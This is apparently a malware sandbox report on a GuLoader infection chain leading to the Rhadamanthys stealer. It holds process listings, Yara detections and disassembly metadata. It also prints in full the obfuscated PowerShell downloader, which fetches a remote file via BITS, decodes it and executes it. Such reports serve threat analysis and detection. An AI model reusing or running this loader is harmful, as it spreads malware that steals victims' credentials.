KehoeifOntocyc Parachu( Fortst$GuisardTPrimtalaSammenscGrittedkAkademilWitnessesynanthsPantheisBegramseDagtyve2ludebro2Mostere1Vejledn8Henlgge.HestehaJBarselsoDscommub TrgrnoSOmsadlitfishetkalevittet Interseridicul Impossi- DecubieargumenqForeskr Kontrol$BraseneBMaglemoeHyppigecTeodiczi KuskecfAllehelrLeguage2 Taksig0Kakotop0 anaest2 Period)Seychel Aggradi{FootlogS Bungfut NonzooaTrivialrFabrikatKlenodi- LugginSPerfidilHenfaldeKlerneie MoorwopJordemo Nonsema1Salderi} PreindeKrabberlTeckpresUpsoarseFarmace{MeierunSWolfwartKlovsyga Archbir TyroletSmoothi- UnrebuSChelatilObjektoeSpisesieNemophipKalfakt Hypers1Plodder;FiddlewFAntiboyoMycenaelProtamik AseptieMonumenmHeteronu SnittenBuksestdLseprve yngstee$ TriumfB MilligeYversprchandfasiHastedufPragmatr Trisom2Pilgrim0 Mycolo0 Nonatr0 Behjlp}Stmaale ');Folkemund (Opinions ' Plushe$SurvivegEngraphlOldsteroorchidobConvinca ReplialReolplj:EscalieTColouriaShovelscforankrk DagvoglSthamreeKonjunksencrownsOversaeeCuddies2 Unmagi2Unsquan1Krydder7Revampm=Trollys( OveratTSpringteVaadeousBakkanatGaugepa-DevilkiPPenworkaIsafklntEliderehInfekti Mistelt$BoldosrTBaalishaKlistricPorophykforlystlGaldesteImmunotsOpsamlisSummerseAlannah2Chorioa2 Avissp1Accepte2Biparti)Feather ') ;}Folkemund (Opinions 'Cannone$spectacg snydetl VendekoArmbaanbGaasejnaCalvarilHydraul:CystatrPBromomeo PrintesPraestctNdstilft Emusif Henrykk= Izarsi OverchaGdelthyre CarcantSagsbeh-KingstoCRevereno AgglutnSkippabtGenskabe PimpernFunctiotMarnasr revanch$ProvisoT KulsyraAvislsncFrugtesk Flgelil BetonkeFluevgts BocegesTransfee Afstrm2Replice2sedimen1Kontrol2 Elonga ');Folkemund (Opinions 'Sidstfd$OverhrtgClaimanl RuddygoStinksvb HjlpesaKnoklerlElectro:NellisfD GribaniGrundlngDemijohtIndaandeRefinag Unseeab=Hairspr Thymel[SlantinSFkalvulyTiggergsFremstitMonograeDatamaemFeeblen.StentorCMaudlinoAfsindinlimpindvArrogate KaraktrOverclotSubfree]Settsma:Antever: heubleFCaricesrZooplasoJivaranmLakersnB ContriaKvrulansLandskaeUdflytt6Afskdpr4RostbfeSUfuldkot SmudgirombetrkinonpondnJuncosggslappel(Hemagog$OvermtnPNondilaoJardinesforcedntMartyrotBrnepsy) Indlae ');Folkemund (Opinions 'Ragende$Strejkeg SkreknlEsophagoConfronbBlasfema GynaeclUnavngi:ForholdBUdmeldeebrikvvncFilingfiSubiintfMetempirBrabant2Aaregan0Indoktr2 nedfal Dyretm=Tvangsf Teagle[PoutfulSBroddedyBespndisNurturetEquiforemetachrmLausann.ghuzostTprodukteDesistmxEkkoerst Hvedem.MelismaEIvrksatn KvikkecOverwovoMunitiod Lommesi Paalgsn StrandgFjordmu] Nonacc:Miswors: ergonoA crozehSSlgternC FravleIGrshoppI Afvikl.AppretuGAnimateeVandalit SlubbiSLreansttublufrdr NobatciBanemrknUntimelgMinuetd(Paleoli$HousewrDAssisteiDipleurgAnekdottEtuastye Skille)Amorinl ');Folkemund (Opinions ' Unprot$kraftfugLumperal LexigroUnavngibProfittaAfsindilNictate:NoniehvBTropsveeBenzoxacrickraciSempitefAutopsyrMarskal2Elefant0Forsoeg3Outtopp= Skrppe$YpperhiBSceptereRailerscKreditfiUndervifKbstadsrSpitchc2 Borgen0sprutte2Deanthr.FuturumsRoesukkuTikronebReversisOvervaat Periscr Masteri Bankopn MetalkgHildrel(Digamis2 Alling9Embryol0 Indsti0Bombaze3Eleuthe0 Conque,Inquest2 Brndgl3 Maalea7Mausole4Seriefo5Benpibe)Kostsko ');Folkemund $Becifr203;"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000003.00000002.1966922652.000001EC5E145000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:37:23
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:37:26
Start date:	19/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	06:37:36
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){ $Becifr20+=$Sold.Substring($Peder, 1);}$Becifr20;}$Becifr2001=Opinions 'Udkonkuirecomple ChilidxClubbin ';$Becifr2002=Opinions 'MetreneTSkryderrFokusera Nonappn BuckarsAldehydfCitatioe StupidrTrykkerrFollicuiForkontn Inddelg Ghostl ';function Folkemund ($Kvke){& ($Becifr2001) ($Kvke);}$Eksped=Opinions ' Splitfhhighbrot QuerimtMyrsiphpAymissasTrilloe:Hjemmeh/ Artens/Crescogwbevogtew UnpanewTristra. Vokslya GodkensbedeviltErgograeFiligranPlanlgntEmhtteoeDennisgrHuldsagpNiveauorInsectoiValentisInspmiseRrigeresFudderl.Infantec SkabekoHeliconmSkillev.Raderinp MaaneskUpaavir/Starkesm KolonisAlungar/ BabkasNBastideoFoedselnIndtgtsn Atombo2svogers1 Duelbe5aabenhe.MetrummpPapirperDesignlmWorsset ';$Becifr2000=Opinions 'Buldogg$PsychoagSaxofonl ThrobloAfhuggcbTrichopa Roduddl Bighte:UnthroaT EmbrasaLissomncKeglestktombololSolutioe OverrosTjenestsKvllereeErklaer2 Pastic2Tilsprg1Ohmensd8Afsvkke Hmskoen=Diacety PrivateSBeneceptPentaplaHvedomrrMerotomtReserve-ReductiBReautheiMegaloctAffixiasFinlndeTushabtirIntrabraKompagnnMaimonisKavalerfSekundoeOcotillrPatrulj Daadyre-OutdegrSMindedioSteropeuEnnoblerproportcFornrmee Gaases Inhomog$TripennEGelatinkParoxyssLommenspGropedoePilenhjdMonopol mellemm-PastoraDBrndboreForfrersUnderfotHurtigri geissonFlabbieaPeculiatUnfeliniMusicaloFeminolnVuggevi Engarba$TekstreTBolsjevaFilmfrocFlinchekWindsurlGumpekaeCustomisSvirrefsOprikkee Datako2Svingni2 System1Gracise2 Memora ';Folkemund (Opinions 'Oliearb$ThermotgSvindlelAffatteoBlgenexbParadigaMrkbarelDelouse: KvindeTBivognra Pectinc NonbudkBiindtglPlanisheCryptocsOvervinsBootstreTelangi2svejser2Notewis1Omstnin2Fugleko=Mandler$MurkroneVenskabnStandarvDemenss:KladdebaSpiritup HdersppBandernd Cybelea FrisketOscularaElkhorn ') ;Folkemund (Opinions 'VespertICanamoam Podophp RaketvoPorionsrForstant dimnaf- SprayeMBevrtnioProgramdTrepaneuBesiegelBygninge Fodred HematocB CoupeeiStambortDameskrsCartogrTHawsepirTyvekroa SkrivenFlaadeos Metrecf Serrate Sluknirhypochn ') ;$Tacklesse2212=$Tacklesse2212+'\Inte.reg' ;Folkemund (Opinions ' Swazil$LivligegCyclohel Dartleo Paternb thengeasorehealpolrtch:BoligmiTDecolouaRevanchcNonconfkFormatklIvorineeCoactivs NailapsHerediteMoorman2Sagvold2Hertugd1Langtur7Otectom=Eventua(HeterogTPikakefenydannesUdmajnitUndlade-UltramaPWarlockaNymphomtVerdenehCricket Concept$FagbevgT AcetaraAmminoscheniquekRegnefulUninvadeKonfliksEnchases BestaneInflowe2Potrero2 Satsbi1rillsto2Grafolo)Beholde ') ;while (-not $Tacklesse2217) {Folkemund (Opinions 'HaandboI KehoeifOntocyc Parachu( Fortst$GuisardTPrimtalaSammenscGrittedkAkademilWitnessesynanthsPantheisBegramseDagtyve2ludebro2Mostere1Vejledn8Henlgge.HestehaJBarselsoDscommub TrgrnoSOmsadlitfishetkalevittet Interseridicul Impossi- DecubieargumenqForeskr Kontrol$BraseneBMaglemoeHyppigecTeodiczi KuskecfAllehelrLeguage2 Taksig0Kakotop0 anaest2 Period)Seychel Aggradi{FootlogS Bungfut NonzooaTrivialrFabrikatKlenodi- LugginSPerfidilHenfaldeKlerneie MoorwopJordemo Nonsema1Salderi} PreindeKrabberlTeckpresUpsoarseFarmace{MeierunSWolfwartKlovsyga Archbir TyroletSmoothi- UnrebuSChelatilObjektoeSpisesieNemophipKalfakt Hypers1Plodder;FiddlewFAntiboyoMycenaelProtamik AseptieMonumenmHeteronu SnittenBuksestdLseprve yngstee$ TriumfB MilligeYversprchandfasiHastedufPragmatr Trisom2Pilgrim0 Mycolo0 Nonatr0 Behjlp}Stmaale ');Folkemund (Opinions ' Plushe$SurvivegEngraphlOldsteroorchidobConvinca ReplialReolplj:EscalieTColouriaShovelscforankrk DagvoglSthamreeKonjunksencrownsOversaeeCuddies2 Unmagi2Unsquan1Krydder7Revampm=Trollys( OveratTSpringteVaadeousBakkanatGaugepa-DevilkiPPenworkaIsafklntEliderehInfekti Mistelt$BoldosrTBaalishaKlistricPorophykforlystlGaldesteImmunotsOpsamlisSummerseAlannah2Chorioa2 Avissp1Accepte2Biparti)Feather ') ;}Folkemund (Opinions 'Cannone$spectacg snydetl VendekoArmbaanbGaasejnaCalvarilHydraul:CystatrPBromomeo PrintesPraestctNdstilft Emusif Henrykk= Izarsi OverchaGdelthyre CarcantSagsbeh-KingstoCRevereno AgglutnSkippabtGenskabe PimpernFunctiotMarnasr revanch$ProvisoT KulsyraAvislsncFrugtesk Flgelil BetonkeFluevgts BocegesTransfee Afstrm2Replice2sedimen1Kontrol2 Elonga ');Folkemund (Opinions 'Sidstfd$OverhrtgClaimanl RuddygoStinksvb HjlpesaKnoklerlElectro:NellisfD GribaniGrundlngDemijohtIndaandeRefinag Unseeab=Hairspr Thymel[SlantinSFkalvulyTiggergsFremstitMonograeDatamaemFeeblen.StentorCMaudlinoAfsindinlimpindvArrogate KaraktrOverclotSubfree]Settsma:Antever: heubleFCaricesrZooplasoJivaranmLakersnB ContriaKvrulansLandskaeUdflytt6Afskdpr4RostbfeSUfuldkot SmudgirombetrkinonpondnJuncosggslappel(Hemagog$OvermtnPNondilaoJardinesforcedntMartyrotBrnepsy) Indlae ');Folkemund (Opinions 'Ragende$Strejkeg SkreknlEsophagoConfronbBlasfema GynaeclUnavngi:ForholdBUdmeldeebrikvvncFilingfiSubiintfMetempirBrabant2Aaregan0Indoktr2 nedfal Dyretm=Tvangsf Teagle[PoutfulSBroddedyBespndisNurturetEquiforemetachrmLausann.ghuzostTprodukteDesistmxEkkoerst Hvedem.MelismaEIvrksatn KvikkecOverwovoMunitiod Lommesi Paalgsn StrandgFjordmu] Nonacc:Miswors: ergonoA crozehSSlgternC FravleIGrshoppI Afvikl.AppretuGAnimateeVandalit SlubbiSLreansttublufrdr NobatciBanemrknUntimelgMinuetd(Paleoli$HousewrDAssisteiDipleurgAnekdottEtuastye Skille)Amorinl ');Folkemund (Opinions ' Unprot$kraftfugLumperal LexigroUnavngibProfittaAfsindilNictate:NoniehvBTropsveeBenzoxacrickraciSempitefAutopsyrMarskal2Elefant0Forsoeg3Outtopp= Skrppe$YpperhiBSceptereRailerscKreditfiUndervifKbstadsrSpitchc2 Borgen0sprutte2Deanthr.FuturumsRoesukkuTikronebReversisOvervaat Periscr Masteri Bankopn MetalkgHildrel(Digamis2 Alling9Embryol0 Indsti0Bombaze3Eleuthe0 Conque,Inquest2 Brndgl3 Maalea7Mausole4Seriefo5Benpibe)Kostsko ');Folkemund $Becifr203;"
Imagebase:	0xb30000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000006.00000002.1744049696.0000000009D30000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000006.00000002.1744712074.000000000B010000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000006.00000002.1733782746.0000000005E26000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:28:37
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0x500000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000008.00000003.1770106522.00000000240B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000003.1760404109.00000000245B0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000008.00000003.1761640645.00000000046B0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000008.00000003.1758009836.0000000002800000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000003.1760674277.00000000247D0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:28:51
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\dialer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\dialer.exe"
Imagebase:	0x90000
File size:	32'256 bytes
MD5 hash:	E4BD77FB64DDE78F1A95ECE09F6A9B85
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000A.00000003.1761896364.0000000003010000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000A.00000003.1835517097.0000000005501000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000A.00000003.1764322214.0000000005380000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000A.00000003.1764142605.0000000005160000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	41.7%
Total number of Nodes:	12
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFAAB779A45 Relevance: 17.5, Strings: 13, Instructions: 1291
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

7^, xrefs: 00007FFAAB779FC9
P7^, xrefs: 00007FFAAB77A52E
p[i, xrefs: 00007FFAAB77A72A
H7^, xrefs: 00007FFAAB77A3C6
8[q, xrefs: 00007FFAAB779D2A
HBq, xrefs: 00007FFAAB77A63C
@7^, xrefs: 00007FFAAB77A1B5
(7^, xrefs: 00007FFAAB77A02B
^, xrefs: 00007FFAAB779F4B
x6^, xrefs: 00007FFAAB77A687
8[q, xrefs: 00007FFAAB779BBB
x6^, xrefs: 00007FFAAB77A4A5
6g, xrefs: 00007FFAAB779FEB

Memory Dump Source

Source File: 00000003.00000002.1993017959.00007FFAAB770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaab770000_powershell.jbxd

Similarity

API ID:
String ID: 6g$ 7^$(7^$8[q$8[q$@7^$H7^$HBq$P7^$^$p[i$x6^$x6^
API String ID: 0-686857945
Opcode ID: 2374af0f060e7ad39ac5dc86b661fcccff202717a7c8a12c9b9691ca5aec5fa2
Instruction ID: 209ca6a4ef77bb567bef1ee9cba8abd0061899d3d2e0bf06da8593f2184c8ba9
Opcode Fuzzy Hash: 2374af0f060e7ad39ac5dc86b661fcccff202717a7c8a12c9b9691ca5aec5fa2
Instruction Fuzzy Hash: D9A29530A1AA498FE794EB28C855BE977F1FF55350F1445B9D00DC72A2CE78AC86CB81

Function 00007FFAAB77AF80 Relevance: 1.8, APIs: 1, Instructions: 331
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.COMBASE ref: 00007FFAAB77B1EB

Memory Dump Source

Source File: 00000003.00000002.1993017959.00007FFAAB770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaab770000_powershell.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 02176ed48190f4fc0be97ad61a9b6a64c29591702a7099c513326384fb2698a2
Instruction ID: 0291f099dff755c98f34fe1736f5fe38cce54bc2f748cb8d204a445ecf18d321
Opcode Fuzzy Hash: 02176ed48190f4fc0be97ad61a9b6a64c29591702a7099c513326384fb2698a2
Instruction Fuzzy Hash: D3911771A0CA4C8FEB589B6CD8457F97BE1EB96321F10817FD04DC32A2DE65A84687C1

Function 00007FFAAB7857E6 Relevance: .5, Instructions: 472
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.1993017959.00007FFAAB770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaab770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27b6d0f3ec4ac115575ab368707cafb3488b0fbade99e187ccc003ca641ae400
Instruction ID: f5fbdca63fd37a80e453774701c418cac0119f100cdd7c9e8479f1d0713ec9ab
Opcode Fuzzy Hash: 27b6d0f3ec4ac115575ab368707cafb3488b0fbade99e187ccc003ca641ae400
Instruction Fuzzy Hash: F1F1B430509A8D8FEBA8DF68C8557F937E1FF55350F04826EE84DC72A1DB7498858B82

Function 00007FFAAB786592 Relevance: .5, Instructions: 458
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.1993017959.00007FFAAB770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaab770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b1354a2dcc9d1e2f4824881e4b6993d6f4c6a9d600724ace7af3405e03429d6
Instruction ID: bb4867709a35bcc17482b7ef19d5c67644c5ae6af32a7c2c1831721d0630ddd0
Opcode Fuzzy Hash: 1b1354a2dcc9d1e2f4824881e4b6993d6f4c6a9d600724ace7af3405e03429d6
Instruction Fuzzy Hash: 1EE1C330509A8E8FEBA8DF68C855BF937E1EB55350F14826ED84DC72A5CE74D8848BC1

Function 00007FFAAB77E6A0 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 190
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

=O_H, xrefs: 00007FFAAB77E76D

Memory Dump Source

Source File: 00000003.00000002.1993017959.00007FFAAB770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaab770000_powershell.jbxd

Similarity

API ID:
String ID: =O_H
API String ID: 0-501726628
Opcode ID: fea44ad90737e1d2f3ba43cdbc7e01a8a0126b22d044f0251db03c65d711bc6b
Instruction ID: 1cf3571c74e431d3ce4d0a36c375f0ab66d9e39c6eb795c052194a6579f4eacf
Opcode Fuzzy Hash: fea44ad90737e1d2f3ba43cdbc7e01a8a0126b22d044f0251db03c65d711bc6b
Instruction Fuzzy Hash: 79511B71A1DB498FEB69D76C98552B87BF1EB5A350F04407AD04EC32E2CE68584587C2

Function 00007FFAAB77E5B9 Relevance: 1.6, APIs: 1, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IUnknown_QueryInterface_Proxy.RPCRT4 ref: 00007FFAAB77E668

Memory Dump Source

Source File: 00000003.00000002.1993017959.00007FFAAB770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaab770000_powershell.jbxd

Similarity

API ID: Interface_ProxyQueryUnknown_
String ID:
API String ID: 2522245112-0
Opcode ID: d2d4e4788147d0b510affcb3aa07d16077a422b4b71a39b44a6d99499da18aa4
Instruction ID: aa0c3347b5f896adb44928c97b0191370e7568ae9680c2847e321393d1e87c7b
Opcode Fuzzy Hash: d2d4e4788147d0b510affcb3aa07d16077a422b4b71a39b44a6d99499da18aa4
Instruction Fuzzy Hash: 64314B3191DB888FD7299B6C9C0A5B67FF4DB57321F00417FE089C3162DA64644ACB82

Function 00007FFAAB84333D Relevance: .4, Instructions: 378
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.1994269366.00007FFAAB840000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaab840000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06b0c0c6488e1f906d53241302eaed9b0d7dac6c84b020562b15b34253f5d6a3
Instruction ID: a47cb6315692034c28970d27e318b5973c1b95119d6589cc50df6b6e06008153
Opcode Fuzzy Hash: 06b0c0c6488e1f906d53241302eaed9b0d7dac6c84b020562b15b34253f5d6a3
Instruction Fuzzy Hash: DFB11472A1EB8A8FE796DB7CC8555F87BD1FF5A250B0841FAD04DC71A3D918A80983C1

Function 00007FFAAB843462 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1994269366.00007FFAAB840000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaab840000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bf9be377f0a2736bced1204124d9272f04e232d08a7ffb8fc6fee1d36c51364
Instruction ID: 9f0edf10e9ae87f1660f2ec6aea9fd411c210bdefda062ffc3184cd6dcbf67d6
Opcode Fuzzy Hash: 6bf9be377f0a2736bced1204124d9272f04e232d08a7ffb8fc6fee1d36c51364
Instruction Fuzzy Hash: 0131A352D2FAC64BF6A6977C98111F8AAC1BF2A690B5944FAD44DC71E3DD0CB80842C2

Non-executed Functions

Function 00007FFAAB7852E9 Relevance: .4, Instructions: 412COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1993017959.00007FFAAB770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaab770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f113a315ef669d6da88db93c88c59a0ddf46bd418b37af7776a1e192539eb2ae
Instruction ID: 6328ede3a51f98e91371c4a3cd8e4a46a1525a3b041ac1ab9fcbf2d459022e2b
Opcode Fuzzy Hash: f113a315ef669d6da88db93c88c59a0ddf46bd418b37af7776a1e192539eb2ae
Instruction Fuzzy Hash: 31D1D630519A8D8FEBA8DF28C8557F977E1FF55350F14826EE84DC32A1CB74A8458B82

Analysis Process: powershell.exePID: 8112, Parent PID: 7728COMMON

Executed Functions

Function 07A0D020 Relevance: 13.0, Strings: 10, Instructions: 520COMMON

Download Yara Rule

Strings

4'q, xrefs: 07A0D132
$q, xrefs: 07A0D27B
tPq, xrefs: 07A0D2C0
tPq, xrefs: 07A0D2B4
$q, xrefs: 07A0D250
$q, xrefs: 07A0D25C
$q, xrefs: 07A0D26F
4'q, xrefs: 07A0D13E
$q, xrefs: 07A0D218
$q, xrefs: 07A0D234

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$tPq$tPq$$q$$q$$q$$q$$q$$q
API String ID: 0-507553569
Opcode ID: d948fd6c07f8d943e25ff536066ed991b86806b2b8aee9144d4cb93d99823f27
Instruction ID: 8552b2f5e4ae20d9af43525a65812d38f81e19759a9dad2f68ac439b3abb71e0
Opcode Fuzzy Hash: d948fd6c07f8d943e25ff536066ed991b86806b2b8aee9144d4cb93d99823f27
Instruction Fuzzy Hash: 9912C3B6B00215CFD724CBA4E455A6ABBF2AFC9314F148869D9199B391CB32EC41CBD1

Function 07A04FB7 Relevance: 7.8, Strings: 6, Instructions: 310COMMON

Download Yara Rule

Strings

4'q, xrefs: 07A05290
4'q, xrefs: 07A05284
4'q, xrefs: 07A0512A
4'q, xrefs: 07A0530F
4'q, xrefs: 07A05303
4'q, xrefs: 07A05136

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$4'q$4'q
API String ID: 0-1794337482
Opcode ID: 8b8e72170083f0e8700749718d77f11f6a5c01a357af45e1b724570e9bdb23be
Instruction ID: 2ca7055fc7bba47c63a8ab0f232985b29edbaf980277a14794300edf89ee4d3e
Opcode Fuzzy Hash: 8b8e72170083f0e8700749718d77f11f6a5c01a357af45e1b724570e9bdb23be
Instruction Fuzzy Hash: 29D172B4E012299FD764DBA4D850F5ABBB2BB84300F108599D509AF381CB75ED86CFE1

Function 07A06109 Relevance: 7.8, Strings: 6, Instructions: 289COMMON

Download Yara Rule

Strings

4'q, xrefs: 07A06376
4'q, xrefs: 07A06382
4'q, xrefs: 07A06303
4'q, xrefs: 07A06192
4'q, xrefs: 07A0619E
4'q, xrefs: 07A062F7

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$4'q$4'q
API String ID: 0-1794337482
Opcode ID: 3b381da48b1e75c1302d9f3316cfa9ca5658b3d56b74c7645083029942addabe
Instruction ID: bba472894b97d23ab0ba1761cb488056da58752890f97ac9ea4946c1373f2637
Opcode Fuzzy Hash: 3b381da48b1e75c1302d9f3316cfa9ca5658b3d56b74c7645083029942addabe
Instruction Fuzzy Hash: 36B1D2B0A002199FD718DBA4D451B5EBBB2AFC8304F14C828D915AF385CB76EC56CBD1

Function 07A0F2A0 Relevance: 5.6, Strings: 4, Instructions: 648COMMON

Download Yara Rule

Strings

4'q, xrefs: 07A0F5E8
4'q, xrefs: 07A0F5DE
4'q, xrefs: 07A0F738
4'q, xrefs: 07A0F742

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q
API String ID: 0-4210068417
Opcode ID: 45fe4b5e6e74ce57ee0171e23c32d9156f412e320629b729e2eeb84e17506da3
Instruction ID: 00abf4aba341f00830653ccb9ae3604e2bfaf42afd6d6a7443dc3fb76f0cf55a
Opcode Fuzzy Hash: 45fe4b5e6e74ce57ee0171e23c32d9156f412e320629b729e2eeb84e17506da3
Instruction Fuzzy Hash: C8226CB1B043158FD7359B78A81076A7BB2AFC6310F1488AAD915EF2D1DB32D845C7E2

Function 07A0604A Relevance: 4.0, Strings: 3, Instructions: 256COMMON

Download Yara Rule

Strings

4'q, xrefs: 07A06376
